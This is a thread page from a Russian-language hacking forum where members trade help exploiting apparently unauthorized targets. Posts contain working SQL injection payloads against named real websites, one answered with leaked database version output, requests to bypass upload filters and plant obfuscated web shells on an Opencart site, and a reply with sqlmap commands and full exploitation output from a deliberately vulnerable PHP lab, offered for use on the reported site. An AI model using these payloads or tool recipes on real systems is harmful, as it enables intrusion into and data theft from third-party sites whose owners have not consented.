HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #2891  
Старый 20.02.2021, 15:06
fandor9
Guest
Сообщений: n/a
Провел на форуме:
169390

Репутация: 47
По умолчанию

Цитата:
Сообщение от b3  
b3 said:

Код:
Code:
sh -c grep SYN_RECV /tmp/check_ddos.res | awk {'print $5'}
Есть такой скрипт от рута, кто хорошо дружит с AWK подскажите есть ли возможность исполнить свой код, или записать в файл данные подставленные в $5? При условии что Файл доступен на запись
из man awk:
Код:
Code:
print                 Print the current record.  The output record is terminated with the value of ORS.

       print expr-list       Print expressions.  Each expression is separated by the value of OFS.  The output record is terminated with the value of ORS.

       print expr-list >file Print expressions on file.  Each expression is separated by the value of OFS.  The output record is terminated with the value of
                             ORS.

       printf fmt, expr-list Format and print.  See The printf Statement, below.

       printf fmt, expr-list >file
                             Format and print on file.
на мой взгляд нет, так как вы не имеете возможность манипулировать саму строку для awk. Получается что-то вроде prepared statements для скули, даже если параметры манипулировать, то они не исполняются.

Код:
Code:
test@test: cat /tmp/check_ddos.res
SYN_RECV `whoami` ;whoami |whoami $(whoami) &&whoami ;{whoami}
test@test: grep SYN_RECV /tmp/check_ddos.res | awk {'print $1 $2 $3 $4 $5 $6 $7'}
SYN_RECV`whoami`;whoami|whoami$(whoami)&&whoami;{whoami}
 
Ответить с цитированием

  #2892  
Старый 24.02.2021, 11:30
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
Провел на форуме:
961428

Репутация: 662
Отправить сообщение для DezMond™ с помощью ICQ
По умолчанию

подскажите как limit можно обойти?

Код:
Code:
https://www.diakoneo.de/?tx_auwpagesmeta_pagecollector[tagevent][]=25,auw_pages_meta_tag)and(extractvalue/*a*/(null,concat/*a*/(1,(select+username+from+be_users+limit+0,1))))%23
 
Ответить с цитированием

  #2893  
Старый 28.02.2021, 21:05
polzunki
Guest
Сообщений: n/a
Провел на форуме:
7210

Репутация: 0
По умолчанию

Доброго всем.

Opencart. Версия не известна.

Могу залить файлы через catalog/download

Но, только те, что закодированы ионкубом. При переходе по ссылке, отображается закодированный код.

Так же если меняю расширение на wso.php.jpg файл не заливается. Проверка идёт по содержимому заливаемого файла.

Перепробовал все обфусцированные шеллы, что только смог найти, заливаются только те, где не содержится $dPassword
 
Ответить с цитированием

  #2894  
Старый 28.02.2021, 22:43
fandor9
Guest
Сообщений: n/a
Провел на форуме:
169390

Репутация: 47
По умолчанию

[QUOTE="polzunki"]
polzunki said:

И просьба подсказать, как зайти на этот шелл?
[CODE]
Code:
$dPassword$dPassword.

Потомм данные d ксорятся с ключом pass, распаковываются и выполняются.
 
Ответить с цитированием

  #2895  
Старый 03.03.2021, 12:12
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
Провел на форуме:
961428

Репутация: 662
Отправить сообщение для DezMond™ с помощью ICQ
По умолчанию

Помогите раскрутить

Код:
Code:
https://www.illingen.de/corona'
 
Ответить с цитированием

  #2896  
Старый 03.03.2021, 16:02
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875

Репутация: 137
По умолчанию

Цитата:
Сообщение от DezMond™  
DezMond™ said:

Помогите раскрутить
Код:
Code:
https://www.illingen.de/corona'
_ww.illingen.de/corona')or(ExtractValue(1,concat_ws(0x3a,version() )))=('1

Цитата:
Сообщение от None  
XPATH syntax error: '.33-0ubuntu0.16.04.1'
 
Ответить с цитированием

  #2897  
Старый 08.03.2021, 14:17
eminlayer7788
Guest
Сообщений: n/a
Провел на форуме:
36807

Репутация: 1
По умолчанию

Hi

Can u help to bypass and contunie this sqli with sqlmap ?

.SpoilerTarget" type="button">Spoiler: POST request
POST /sendtwofactor.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: https://setup.sk/

Cookie: PHPSESSID=961073f8435f8bee3b34b3e6b4ff6c48;lng=en

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 40

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari>

Host: setup.sk

Connection: Keep-alive

login=if(now()=sysdate()%2Csleep(6)%2C0)

at this moment sqlmap can not dump dbs, and I tried some tamper scripts also

Thanks !
 
Ответить с цитированием

  #2898  
Старый 18.03.2021, 23:08
Duble
Guest
Сообщений: n/a
Провел на форуме:
15943

Репутация: 0
По умолчанию

Добрый день, подскажите пожалуйста.

Есть сайт, уязвимость в json нашел с помощью acunetix

Отчет такой

Код:
Code:
POST site.com/api/R/countTabs HTTP/1.1
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://site.com/
Cookie: sails.sid=s%3AIEeBmBWMv6pkUjHoX13K94m6bsxyZETu.mAjwObh334BpSZtHzJN1nY4HBjL%2Fiyt3uvwTjN6K5pQ;rtl=0;noAuthLanguage=%7B%22languageId%22%3A2%2C%22languageName%22%3A%22ru%22%7D;44cc0ec1aaa79f8d1d2757739ec41b84=1;favorites=j%3A%5B%2216880%22%5D;csrftoken=uq60dSDyNfzDlNREVBpktbbTqAxQDhPrfH3WQqvmfCw8ZgcqVZkYF91wKftnxCcS
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Host:site.com
Connection: Keep-alive

{"where":{"chart":{"not":"[]"},"invisible":"0 RLIKE (SELECT (CASE WHEN (1+1-2+000194=2+2-4+000194) THEN 1 ELSE 0x28 END)) -- "},"tab":"growth"}
Так вот, чем крутить такое? Точнее через что?
 
Ответить с цитированием

  #2899  
Старый 20.03.2021, 21:50
fandor9
Guest
Сообщений: n/a
Провел на форуме:
169390

Репутация: 47
По умолчанию

Цитата:
Сообщение от Duble  
Duble said:

Добрый день, подскажите пожалуйста.
Есть сайт, уязвимость в json нашел с помощью acunetix
Отчет такой
Код:
Code:
POST site.com/api/R/countTabs HTTP/1.1
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://site.com/
Cookie: sails.sid=s%3AIEeBmBWMv6pkUjHoX13K94m6bsxyZETu.mAjwObh334BpSZtHzJN1nY4HBjL%2Fiyt3uvwTjN6K5pQ;rtl=0;noAuthLanguage=%7B%22languageId%22%3A2%2C%22languageName%22%3A%22ru%22%7D;44cc0ec1aaa79f8d1d2757739ec41b84=1;favorites=j%3A%5B%2216880%22%5D;csrftoken=uq60dSDyNfzDlNREVBpktbbTqAxQDhPrfH3WQqvmfCw8ZgcqVZkYF91wKftnxCcS
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Host:site.com
Connection: Keep-alive

{"where":{"chart":{"not":"[]"},"invisible":"0 RLIKE (SELECT (CASE WHEN (1+1-2+000194=2+2-4+000194) THEN 1 ELSE 0x28 END)) -- "},"tab":"growth"}
Так вот, чем крутить такое? Точнее через что?
так как стало самому интересно, решил потестить, в общем если коротко, то скульмап распознаёт что имеет дело с JSON, и указывать заголовки не обязательно. В том месте где находится инъекция (в вашем случае "invisible") вставляете просто звёздочку (*) и смотря что за запрос, можно поставить дефолтовое знание через prefix (например --prefix=0):

Код:
Code:
sqlmap -u 'http://site.com/api/R/countTabs' -H 'Content-Type: application/json;charset=UTF-8' --data='{"where":{"chart":{"not":"[]"},"invisible":"*"},"tab":"growth"}' --prefix=0
Что-бы потестить поднял простой скрипт:

.SpoilerTarget" type="button">Spoiler: Тестовая площадка
Данные в базе:

Код:
Code:
CREATE DATABASE testdb;
CREATE USER IF NOT EXISTS 'testuser'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON testdb.* TO 'testuser'@'localhost';
FLUSH PRIVILEGES;
CREATE TABLE users(id INT AUTO_INCREMENT PRIMARY KEY, firstname VARCHAR(255) NOT NULL, lastname VARCHAR(255) NOT NULL, active BOOLEAN NOT NULL DEFAULT FALSE);
INSERT INTO users(firstname,lastname,active) VALUES('Ivan','Test',0);
INSERT INTO users(firstname,lastname,active) VALUES('John','Doe',0);
INSERT INTO users(firstname,lastname,active) VALUES('Test','Admin',1);
Само "приложение" с JSON (естественно с отладкой и кривое и косое)...

Код:
Code:
connect_error) {
          die("Connection failed: " . $conn->connect_error);
    }
    echo "Connected successfully";
}catch(mysqli_sql_exception $e){
    throw $e;
}

# Deprecated since PHP5.6 and removed since PHP7
# https://www.php.net/manual/pt_BR/reserved.variables.httprawpostdata.php
#var_dump($HTTP_RAW_POST_DATA);

$inputJSON = file_get_contents('php://input');
var_dump($inputJSON);

$jsonOBJ = json_decode($inputJSON);

var_dump($jsonOBJ);

$invisible_var = $jsonOBJ->{"where"}->{"invisible"};

var_dump($invisible_var);

$sql = 'SELECT id,firstname,lastname FROM users WHERE active=' . $invisible_var;
printf("SQL query: ".$sql);
$conn->real_query($sql);
if ($result = $conn->use_result()) {
  foreach ($result as $row) {
    echo "\nid = " . $row['id'] . " firstname = " . $row['firstname'] . " lastname = " .$row['lastname'];
    }
    /* free result set */
  $result->close();
}

$conn->close();
?>
Поднимаем локальный пых-сервер в папке с "приложением" (у меня оно лежит под json_server.php)

Код:
Code:
php -S localhost:1234
Теперь тест от руки:

Код:
Code:
curl -X POST -d '{"where":{"chart":{"not":"[]"},"invisible":"0"},"tab":"growth"}' -H 'Content-Type: application/json;charset=UTF-8' http://localhost:1234/json_server.php
--------------------------------
Connected successfullystring(63) "{"where":{"chart":{"not":"[]"},"invisible":"0"},"tab":"growth"}"
object(stdClass)#4 (2) {
  ["where"]=>
  object(stdClass)#3 (2) {
    ["chart"]=>
    object(stdClass)#2 (1) {
      ["not"]=>
      string(2) "[]"
    }
    ["invisible"]=>
    string(1) "0"
  }
  ["tab"]=>
  string(6) "growth"
}
string(1) "0"
SQL query: SELECT id,firstname,lastname FROM users WHERE active=0
id = 1 firstname = Ivan lastname = Test
id = 2 firstname = John lastname = Doe
Теперь простейшая иньекция:

Код:
Code:
curl -X POST -d '{"where":{"chart":{"not":"[]"},"invisible":"0 OR 1=1"},"tab":"growth"}' -H 'Content-Type: application/json;charset=UTF-8' http://testserver:1234/json_server.php
------------------------------------
Connected successfullystring(70) "{"where":{"chart":{"not":"[]"},"invisible":"0 OR 1=1"},"tab":"growth"}"
object(stdClass)#4 (2) {
  ["where"]=>
  object(stdClass)#3 (2) {
    ["chart"]=>
    object(stdClass)#2 (1) {
      ["not"]=>
      string(2) "[]"
    }
    ["invisible"]=>
    string(8) "0 OR 1=1"
  }
  ["tab"]=>
  string(6) "growth"
}
string(8) "0 OR 1=1"
SQL query: SELECT id,firstname,lastname FROM users WHERE active=0 OR 1=1
id = 1 firstname = Ivan lastname = Test
id = 2 firstname = John lastname = Doe
id = 3 firstname = Test lastname = Admin
Дальше запускаем Бурп и в другой консоли/терминале запускаем скульмап:

Код:
Code:
sqlmap -u 'http://testserver:1234/json_server.php' --dbms=mysql --data='{"where":{"chart":{"not":"[]"},"invisible":"*"},"tab":"growth"}' --proxy='/'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[18:40:18] [INFO] flushing session file
[18:40:18] [INFO] testing connection to the target URL
[18:40:18] [INFO] checking if the target is protected by some kind of WAF/IPS
[18:40:18] [INFO] testing if the target URL content is stable
[18:40:18] [INFO] target URL content is stable
[18:40:18] [INFO] testing if (custom) POST parameter 'JSON #1*' is dynamic
[18:40:18] [WARNING] (custom) POST parameter 'JSON #1*' does not appear to be dynamic
[18:40:18] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON #1*' might not be injectable
[18:40:18] [INFO] testing for SQL injection on (custom) POST parameter 'JSON #1*'
[18:40:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:40:19] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[18:40:19] [INFO] testing 'Generic inline queries'
[18:40:19] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:40:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[18:40:19] [WARNING] time-based comparison requires larger statistical model, please wait............... (done)                                                                                                                          
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
[18:40:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:40:20] [WARNING] (custom) POST parameter 'JSON #1*' does not seem to be injectable
[18:40:20] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
При этом без прификса скульмап не смог раскрутить скулю

Код:
Code:
sqlmap -u 'http://testserver:1234/json_server.php' --dbms=mysql --data='{"where":{"chart":{"not":"[]"},"invisible":"*"},"tab":"growth"}' --proxy='/' --flush-session --prefix=0
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[18:43:08] [INFO] flushing session file
[18:43:08] [INFO] testing connection to the target URL
[18:43:08] [INFO] checking if the target is protected by some kind of WAF/IPS
[18:43:08] [INFO] testing if the target URL content is stable
[18:43:09] [INFO] target URL content is stable
[18:43:09] [INFO] testing if (custom) POST parameter 'JSON #1*' is dynamic
[18:43:09] [INFO] (custom) POST parameter 'JSON #1*' appears to be dynamic
[18:43:09] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON #1*' might not be injectable
[18:43:09] [INFO] heuristic (XSS) test shows that (custom) POST parameter 'JSON #1*' might be vulnerable to cross-site scripting (XSS) attacks
[18:43:09] [INFO] testing for SQL injection on (custom) POST parameter 'JSON #1*'
[18:43:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:43:09] [WARNING] reflective value(s) found and filtering out
[18:43:09] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[18:43:09] [INFO] testing 'Generic inline queries'
[18:43:09] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:43:09] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[18:43:09] [WARNING] time-based comparison requires larger statistical model, please wait......... (done)                
[18:43:19] [INFO] (custom) POST parameter 'JSON #1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[18:43:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:43:25] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:43:25] [INFO] target URL appears to be UNION injectable with 3 columns
[18:43:25] [INFO] (custom) POST parameter 'JSON #1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
(custom) POST parameter 'JSON #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Y
sqlmap identified the following injection point(s) with a total of 55 HTTP(s) requests:
---
Parameter: JSON #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"where":{"chart":{"not":"[]"},"invisible":"0 AND (SELECT 8656 FROM (SELECT(SLEEP(5)))iyJH)"},"tab":"growth"}

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: {"where":{"chart":{"not":"[]"},"invisible":"0 UNION ALL SELECT CONCAT(0x7170786b71,0x697a4b487962727759494a414871686b654176576663644e4b55574770616b786a66626f617a6d47,0x716b707871),NULL,NULL-- -"},"tab":"growth"}
---
[18:43:27] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.15
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
 
Ответить с цитированием

  #2900  
Старый 21.03.2021, 07:28
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875

Репутация: 137
По умолчанию

Цитата:
Сообщение от fandor9  
fandor9 said:

так как стало самому интересно, решил потестить, в общем если коротко, то скульмап распознаёт что имеет дело с JSON, и указывать заголовки не обязательно. В том месте где находится инъекция (в вашем случае "invisible") вставляете просто звёздочку (*) и смотря что за запрос, можно поставить дефолтовое знание через prefix (например --prefix=0):
Код:
Code:
sqlmap -u 'http://site.com/api/R/countTabs' -H 'Content-Type: application/json;charset=UTF-8' --data='{"where":{"chart":{"not":"[]"},"invisible":"*"},"tab":"growth"}' --prefix=0
Что-бы потестить поднял простой скрипт:
Spoiler: Тестовая площадка
Данные в базе:
Код:
Code:
CREATE DATABASE testdb;
CREATE USER IF NOT EXISTS 'testuser'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON testdb.* TO 'testuser'@'localhost';
FLUSH PRIVILEGES;
CREATE TABLE users(id INT AUTO_INCREMENT PRIMARY KEY, firstname VARCHAR(255) NOT NULL, lastname VARCHAR(255) NOT NULL, active BOOLEAN NOT NULL DEFAULT FALSE);
INSERT INTO users(firstname,lastname,active) VALUES('Ivan','Test',0);
INSERT INTO users(firstname,lastname,active) VALUES('John','Doe',0);
INSERT INTO users(firstname,lastname,active) VALUES('Test','Admin',1);
Само "приложение" с JSON (естественно с отладкой и кривое и косое)...
Код:
Code:
connect_error) {
          die("Connection failed: " . $conn->connect_error);
    }
    echo "Connected successfully";
}catch(mysqli_sql_exception $e){
    throw $e;
}

# Deprecated since PHP5.6 and removed since PHP7
# https://www.php.net/manual/pt_BR/reserved.variables.httprawpostdata.php
#var_dump($HTTP_RAW_POST_DATA);

$inputJSON = file_get_contents('php://input');
var_dump($inputJSON);

$jsonOBJ = json_decode($inputJSON);

var_dump($jsonOBJ);

$invisible_var = $jsonOBJ->{"where"}->{"invisible"};

var_dump($invisible_var);

$sql = 'SELECT id,firstname,lastname FROM users WHERE active=' . $invisible_var;
printf("SQL query: ".$sql);
$conn->real_query($sql);
if ($result = $conn->use_result()) {
  foreach ($result as $row) {
    echo "\nid = " . $row['id'] . " firstname = " . $row['firstname'] . " lastname = " .$row['lastname'];
    }
    /* free result set */
  $result->close();
}

$conn->close();
?>
Поднимаем локальный пых-сервер в папке с "приложением" (у меня оно лежит под json_server.php)
Код:
Code:
php -S localhost:1234
Теперь тест от руки:
Код:
Code:
curl -X POST -d '{"where":{"chart":{"not":"[]"},"invisible":"0"},"tab":"growth"}' -H 'Content-Type: application/json;charset=UTF-8' http://localhost:1234/json_server.php
--------------------------------
Connected successfullystring(63) "{"where":{"chart":{"not":"[]"},"invisible":"0"},"tab":"growth"}"
object(stdClass)#4 (2) {
  ["where"]=>
  object(stdClass)#3 (2) {
    ["chart"]=>
    object(stdClass)#2 (1) {
      ["not"]=>
      string(2) "[]"
    }
    ["invisible"]=>
    string(1) "0"
  }
  ["tab"]=>
  string(6) "growth"
}
string(1) "0"
SQL query: SELECT id,firstname,lastname FROM users WHERE active=0
id = 1 firstname = Ivan lastname = Test
id = 2 firstname = John lastname = Doe
Теперь простейшая иньекция:
Код:
Code:
curl -X POST -d '{"where":{"chart":{"not":"[]"},"invisible":"0 OR 1=1"},"tab":"growth"}' -H 'Content-Type: application/json;charset=UTF-8' http://testserver:1234/json_server.php
------------------------------------
Connected successfullystring(70) "{"where":{"chart":{"not":"[]"},"invisible":"0 OR 1=1"},"tab":"growth"}"
object(stdClass)#4 (2) {
  ["where"]=>
  object(stdClass)#3 (2) {
    ["chart"]=>
    object(stdClass)#2 (1) {
      ["not"]=>
      string(2) "[]"
    }
    ["invisible"]=>
    string(8) "0 OR 1=1"
  }
  ["tab"]=>
  string(6) "growth"
}
string(8) "0 OR 1=1"
SQL query: SELECT id,firstname,lastname FROM users WHERE active=0 OR 1=1
id = 1 firstname = Ivan lastname = Test
id = 2 firstname = John lastname = Doe
id = 3 firstname = Test lastname = Admin
Дальше запускаем Бурп и в другой консоли/терминале запускаем скульмап:
Код:
Code:
sqlmap -u 'http://testserver:1234/json_server.php' --dbms=mysql --data='{"where":{"chart":{"not":"[]"},"invisible":"*"},"tab":"growth"}' --proxy='/'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[18:40:18] [INFO] flushing session file
[18:40:18] [INFO] testing connection to the target URL
[18:40:18] [INFO] checking if the target is protected by some kind of WAF/IPS
[18:40:18] [INFO] testing if the target URL content is stable
[18:40:18] [INFO] target URL content is stable
[18:40:18] [INFO] testing if (custom) POST parameter 'JSON #1*' is dynamic
[18:40:18] [WARNING] (custom) POST parameter 'JSON #1*' does not appear to be dynamic
[18:40:18] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON #1*' might not be injectable
[18:40:18] [INFO] testing for SQL injection on (custom) POST parameter 'JSON #1*'
[18:40:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:40:19] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[18:40:19] [INFO] testing 'Generic inline queries'
[18:40:19] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:40:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[18:40:19] [WARNING] time-based comparison requires larger statistical model, please wait............... (done)                                                                                                                         
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
[18:40:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:40:20] [WARNING] (custom) POST parameter 'JSON #1*' does not seem to be injectable
[18:40:20] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
При этом без прификса скульмап не смог раскрутить скулю
Код:
Code:
sqlmap -u 'http://testserver:1234/json_server.php' --dbms=mysql --data='{"where":{"chart":{"not":"[]"},"invisible":"*"},"tab":"growth"}' --proxy='/' --flush-session --prefix=0
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[18:43:08] [INFO] flushing session file
[18:43:08] [INFO] testing connection to the target URL
[18:43:08] [INFO] checking if the target is protected by some kind of WAF/IPS
[18:43:08] [INFO] testing if the target URL content is stable
[18:43:09] [INFO] target URL content is stable
[18:43:09] [INFO] testing if (custom) POST parameter 'JSON #1*' is dynamic
[18:43:09] [INFO] (custom) POST parameter 'JSON #1*' appears to be dynamic
[18:43:09] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON #1*' might not be injectable
[18:43:09] [INFO] heuristic (XSS) test shows that (custom) POST parameter 'JSON #1*' might be vulnerable to cross-site scripting (XSS) attacks
[18:43:09] [INFO] testing for SQL injection on (custom) POST parameter 'JSON #1*'
[18:43:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:43:09] [WARNING] reflective value(s) found and filtering out
[18:43:09] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[18:43:09] [INFO] testing 'Generic inline queries'
[18:43:09] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:43:09] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[18:43:09] [WARNING] time-based comparison requires larger statistical model, please wait......... (done)               
[18:43:19] [INFO] (custom) POST parameter 'JSON #1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[18:43:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:43:25] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:43:25] [INFO] target URL appears to be UNION injectable with 3 columns
[18:43:25] [INFO] (custom) POST parameter 'JSON #1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
(custom) POST parameter 'JSON #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Y
sqlmap identified the following injection point(s) with a total of 55 HTTP(s) requests:
---
Parameter: JSON #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"where":{"chart":{"not":"[]"},"invisible":"0 AND (SELECT 8656 FROM (SELECT(SLEEP(5)))iyJH)"},"tab":"growth"}

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: {"where":{"chart":{"not":"[]"},"invisible":"0 UNION ALL SELECT CONCAT(0x7170786b71,0x697a4b487962727759494a414871686b654176576663644e4b55574770616b786a66626f617a6d47,0x716b707871),NULL,NULL-- -"},"tab":"growth"}
---
[18:43:27] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.15
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
Цитата:
Сообщение от Duble  
Duble said:

Добрый день, подскажите пожалуйста.
Есть сайт, уязвимость в json нашел с помощью acunetix
Отчет такой
Код:
Code:
POST site.com/api/R/countTabs HTTP/1.1
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://site.com/
Cookie: sails.sid=s%3AIEeBmBWMv6pkUjHoX13K94m6bsxyZETu.mAjwObh334BpSZtHzJN1nY4HBjL%2Fiyt3uvwTjN6K5pQ;rtl=0;noAuthLanguage=%7B%22languageId%22%3A2%2C%22languageName%22%3A%22ru%22%7D;44cc0ec1aaa79f8d1d2757739ec41b84=1;favorites=j%3A%5B%2216880%22%5D;csrftoken=uq60dSDyNfzDlNREVBpktbbTqAxQDhPrfH3WQqvmfCw8ZgcqVZkYF91wKftnxCcS
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Host:site.com
Connection: Keep-alive

{"where":{"chart":{"not":"[]"},"invisible":"0 RLIKE (SELECT (CASE WHEN (1+1-2+000194=2+2-4+000194) THEN 1 ELSE 0x28 END)) -- "},"tab":"growth"}
Так вот, чем крутить такое? Точнее через что?
Можно было просто взять пакет запроса с акунектикса, в уязвимом параметре поставить звездочку, сохранить в файл и вызвать его параметром -r file.txt
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ